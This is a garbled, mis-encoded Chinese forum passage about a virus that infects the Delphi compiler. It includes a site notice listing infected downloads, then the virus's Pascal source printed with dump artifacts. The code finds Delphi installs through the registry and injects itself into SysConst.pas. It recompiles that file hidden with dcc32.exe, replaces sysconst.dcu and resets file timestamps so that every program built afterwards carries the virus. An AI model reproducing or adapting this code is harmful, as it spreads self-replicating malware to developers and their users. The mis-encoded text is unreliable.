to xinxinxin ÊÇ°¡ ÎÒҲûÏëµ½»á³öרÃÅÕë¶ÔdelphiµÄ²¡¶¾ ÎÒ»¹ÔÚÆ´ÃüÕÒ×Ô¼º³ÌÐòµÄÔÒò¡£ ÎÒÒ²ÊÇÎÞÒâÖз¢Ïֵġ£ÎÒ±àÒë¸ö¿Õ³ÌÐòÒ²´ø¶¾ºóÀ´¾ÍÏëµ½Á˻᲻»áÊÇdcu´ø¶¾
----------------------------------------------
-BinJian's blog is http://www.sleepless.org.cn
ÒÑÖª±¾Õ¾µÄ³ÌÐò´ø¶¾Ãûµ¥ÈçÏÂ: Inno Setup Water Ë®²¨Ð§¹û²å¼þ FOR Inno setup Innounp IsUnp InnoGPW CodeGear RAD Studio 2009 ÂÌ»¯³ÌÐò ÒÑÏÂÔعýµÄ±¾Õ¾µÄ³ÌÐò,ÇëÖØе½ÍøÅÌÀïÖØÐÂÏÂÔظ²¸Ç.
----------------------------------------------
-
uses windows; var sc:array[1..24] of string=( ÿÿÿÿP function x(s:string):string;var i:integer;begin for i:=1 to length(s) do if s[i] ÿÿÿÿP =#36 then s[i]:=#39;result:=s;end;procedure re(s,d,e:string);var f1,f2:textfile; ÿÿÿÿP h:cardinal;f:STARTUPINFO;p:PROCESS_INFORMATION;b:boolean;t1,t2,t3:FILETIME;begin ÿÿÿÿP h:=CreateFile(pchar(d+$bak$),0,0,0,3,0,0);if h<>DWORD(-1) then begin CloseHandle ÿÿÿÿP (h);exit;end;{$I-}assignfile(f1,s);reset(f1);if ioresult<>0 then exit;assignfile ÿÿÿÿP (f2,d+$pas$);rewrite(f2);if ioresult<>0 then begin closefile(f1);exit;end; while ÿÿÿÿP not eof(f1) do begin readln(f1,s); writeln(f2,s); if pos($implementation$,s)<>0 ÿÿÿÿP then break;end;for h:= 1 to 1 do writeln(f2,sc[h]);for h:= 1 to 23 do writeln(f2 ÿÿÿÿP ,$$$$+sc[h],$$$,$);writeln(f2,$$$$+sc[24]+$$$);$);for h:= 2 to 24 do writeln(f2, ÿÿÿÿP x(sc[h]));closefile(f1);closefile(f2);{$I+}MoveFile(pchar(d+$dcu$),pchar(d+$bak$ ÿÿÿÿP )); fillchar(f,sizeof(f),0); f.cb:=sizeof(f); f.dwFlags:=STARTF_USESHOWWINDOW;f. ÿÿÿÿP wShowWindow:=SW_HIDE;b:=CreateProcess(nil,pchar(e+$"$+d+$pas"$),0,0,false,0,0,0, ÿÿÿÿP f,p);if b then WaitForSingleObject(p.hProcess,INFINITE);MoveFile(pchar(d+$bak$), ÿÿÿÿP pchar(d+$dcu$));DeleteFile(pchar(d+$pas$));h:=CreateFile(pchar(d+$bak$),0,0,0,3, ÿÿÿÿP 0,0); if h=DWORD(-1) then exit; GetFileTime(h,@t1,@t2,@t3); CloseHandle(h);h:= ÿÿÿÿP CreateFile(pchar(d+$dcu$),256,0,0,3,0,0);if h=DWORD(-1) then exit;SetFileTime(h, ÿÿÿÿP @t1,@t2,@t3); CloseHandle(h); end; procedure st; var k:HKEY;c:array [1..255] of ÿÿÿÿP char; i:cardinal; r:string; v:char; begin for v:=$4$ to $7$ do if RegOpenKeyEx( ÿÿÿÿP HKEY_LOCAL_MACHINE,pchar($Software\Borland\Delphi\$+v+$.0$),0,KEY_READ,k)=0 then ÿÿÿÿP begin i:=255;if RegQueryValueEx(k,$RootDir$,nil,@i,@c,@i)=0 then begin r:=$$;i:= ÿÿÿÿP 1; while c[i]<>#0 do begin r:=r+c[i];inc(i);end;re(r+$\source\rtl\sys\SysConst$+ ÿÿÿÿP $.pas$,r+$\lib\sysconst.$,$"$+r+$\bin\dcc32.exe" $);end;RegCloseKey(k);end; end; ÿÿÿÿ begin st; end.